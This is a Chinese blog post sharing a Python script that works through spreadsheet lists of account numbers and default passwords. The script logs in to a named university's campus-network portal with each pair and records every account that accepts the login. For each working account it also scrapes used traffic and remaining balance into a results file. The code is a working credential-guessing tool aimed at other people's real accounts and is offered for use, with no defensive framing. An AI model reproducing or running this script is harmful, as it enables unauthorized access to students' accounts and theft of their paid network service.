python爬取校园网未修改默认密码的账号

又是水文章的一天

如果我们已知默认密码和账号,可以通过类For的实现方式一个个试出可用账号,这时候有人给我提了一个需求,ta希望爬的时候还能获取账号的已用流量和剩余余额。我一想,这应该是比较简单的事情,于是就动手尝试了一下,果不其然成功了,但是工大的校园网系统是真的老旧呀(为什么不用json传递而是一个个访问数据库呀)。

但是我目前不在学校,连不上工大的校园网,无法演示这一流程,总之按着我的代码跑就没问题的,由于反复且快速地查询可能导致查询结果为0而报错,因此我在程序中增加了二次查询的代码和try语句,同时由于代码较长,打包成两个文件。

在此感谢工大校园网直接把script放在了网页源代码的最顶处,都不用一个个访问元素了。。。

首先先来看Main.py

import requests
import xlrd
import openpyxl as op
import find_is_used as FIND
# zhang_hao_data = ['正确的账号',  123456]
# mima_data = ['正确的密码', '123456']

workbook = xlrd.open_workbook('ALL.xlsx')  # 打开文件
sheet_name = workbook.sheet_names()[0]  # 获取所有sheet
sheet = workbook.sheet_by_index(0)  # 根据sheet索引或者名称获取sheet内容   sheet索引从0开始
OK_tonji = 0
OK_not_tonji = 0

fileName = '结果.xlsx'
wb = op.Workbook()  # 创建工作簿对象
ws = wb['Sheet']  # 创建子表
ws.append(['账号', '密码', '已用', '余额(状态)'])   # 设置表头

lines = sheet.nrows
print('一共有', lines-1, '组账号数据')

for i in range(lines-1):
    # for i in range(6):
    # try:
    zhang_hao_data = sheet.cell_value(i+1, 0)   # 读取账号
    mima_data = sheet.cell_value(i+1, 1)       # 读取密
    # print(type(zhang_hao_data))
    # print(type(mima_data))
    if isinstance(zhang_hao_data, float):
        zhang_hao_data = str(int(zhang_hao_data))
    if isinstance(mima_data, float):
        mima_data = str(int(mima_data))

    print('数据,', '账号为:', zhang_hao_data, '密码为:', mima_data, ' ', end='')
    payload = {'callback': 'dr1003',
               'DDDDD': zhang_hao_data,
               'upass': mima_data,
               '0MKKey': '123456',
               'R1': '0',
               'R2': '',
               'R3': '0',
               'R6': '0',
               'para': '00',
               'v6ip': '',
               'terminal_type': '1',
               'lang': 'zh-cn',
               'jsVersion': '4.1',
               'v': '4699',
               'lang':  'zh'
               }
    url = 'http://10.21.250.3/drcom/login'

    req = requests.get(url, params=payload)
    req = req.text  # 工大网站返回str
    Type_req = type(req)
    if req[22] == '1':
        print("连接成功")

        OK_tonji = OK_tonji+1

        zhang_hao_OK = zhang_hao_data
        mima_OK = mima_data

        [flow_finall, fee_finall, false] = FIND.find_is_used()

        if false == 1:
            ws.append([zhang_hao_OK,  mima_OK, flow_finall,  fee_finall])
        if false == 2:
            ws.append([zhang_hao_OK,  mima_OK, flow_finall, '状态未知'])
        if false == 0:
            ws.append([zhang_hao_OK,  mima_OK, flow_finall, '欠费'])

    else:
        req = requests.get(url, params=payload)
        req = req.text  # 工大网站返回str
        Type_req = type(req)
        if req[22] == '1':
            print("连接成功")

            OK_tonji = OK_tonji+1

            zhang_hao_OK = zhang_hao_data
            mima_OK = mima_data

            [flow_finall, fee_finall, false] = FIND.find_is_used()

            if false == 1:
                ws.append([zhang_hao_OK,  mima_OK, flow_finall,  fee_finall])
            if false == 2:
                ws.append([zhang_hao_OK,  mima_OK, flow_finall, '状态未知'])
            if false == 0:
                ws.append([zhang_hao_OK,  mima_OK, flow_finall, '欠费'])
        else:
            print("连接失败")
            OK_not_tonji = OK_not_tonji + 1
    print('成功:', OK_tonji, ' 失败:', OK_not_tonji)
    # except:
    #     print('\n没连接wifi,请手动解决,输入 0 表示解决成功:')
    #     OK_miao = input()
    #     print('手动解决成功')

wb.save(fileName)
print('共', OK_tonji, '组数据成功')

然后再来看find_is_used.py

import requests
from bs4 import BeautifulSoup

def find_n_sub_str(src, sub, pos, start):
    index = src.find(sub, start)
    if index != -1 and pos > 0:
        return find_n_sub_str(src, sub, pos - 1, index + 1)
    return index

def find_is_used():
    r = requests.get('http://lgn.bjut.edu.cn/')
    soup = BeautifulSoup(r.text, 'html.parser')
    ALL = soup.script
    ALL_str = str(soup.script)
    # flow
    flow_start_index = find_n_sub_str(ALL_str, '\'', 2, 0)
    flow_end_index = find_n_sub_str(ALL_str, '\'', 3, 0)
    flow = ALL_str[flow_start_index+1:flow_end_index]
    try:
        flow = float(flow)
    except:
        try:
            r = requests.get('http://lgn.bjut.edu.cn/')
            soup = BeautifulSoup(r.text, 'html.parser')
            ALL = soup.script
            ALL_str = str(soup.script)
            # flow
            flow_start_index = find_n_sub_str(ALL_str, '\'', 2, 0)
            flow_end_index = find_n_sub_str(ALL_str, '\'', 3, 0)
            flow = ALL_str[flow_start_index+1:flow_end_index]
            try:
                flow = float(flow)
            except:
                flow = 0
        except:
            flow = 0
    # false
    false_index = find_n_sub_str(ALL_str, 'fsele', 0, 0)
    try:
        false = int(ALL_str[false_index+6:false_index+7])
    except:
        try:
            r = requests.get('http://lgn.bjut.edu.cn/')
            soup = BeautifulSoup(r.text, 'html.parser')
            ALL = soup.script
            ALL_str = str(soup.script)
            # flow
            false_index = find_n_sub_str(ALL_str, 'fsele', 0, 0)
            try:
                false = int(ALL_str[false_index+6:false_index+7])
            except:
                false = 2
        except:
            flow = 2

    # fee
    fee_start_index = find_n_sub_str(ALL_str, '\'', 4, 0)
    fee_end_index = find_n_sub_str(ALL_str, '\'', 5, 0)
    try:
        fee = float(ALL_str[fee_start_index+1:fee_end_index])
    except:
        try:
            r = requests.get('http://lgn.bjut.edu.cn/')
            soup = BeautifulSoup(r.text, 'html.parser')
            ALL = soup.script
            ALL_str = str(soup.script)
            # flow
            fee_start_index = find_n_sub_str(ALL_str, '\'', 4, 0)
            fee_end_index = find_n_sub_str(ALL_str, '\'', 5, 0)
            try:
                fee = float(ALL_str[fee_start_index+1:fee_end_index])
            except:
                fee = 0
        except:
            fee = 0

    # print('flow:', flow, 'false:', false, 'fee:', fee)

    flow0 = flow % 1024
    flow1 = flow-flow0
    flow0 = flow0 * 1000
    flow0 = flow0-flow0 % 1024
    fee1 = fee-fee % 100
    fee_finall = fee1/10000
    flow_finall = flow1/1024+flow0/1024/1000
    return [flow_finall, fee_finall, false]

不同于上回书中,此时excel中ALL.xlsx要把账号密码这样排列

运行结果如下,真是不错呢,代码懂的就自己看吧,不懂的话。。。反正你也不懂默认密码是什么,不要紧,你也应该用不上

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇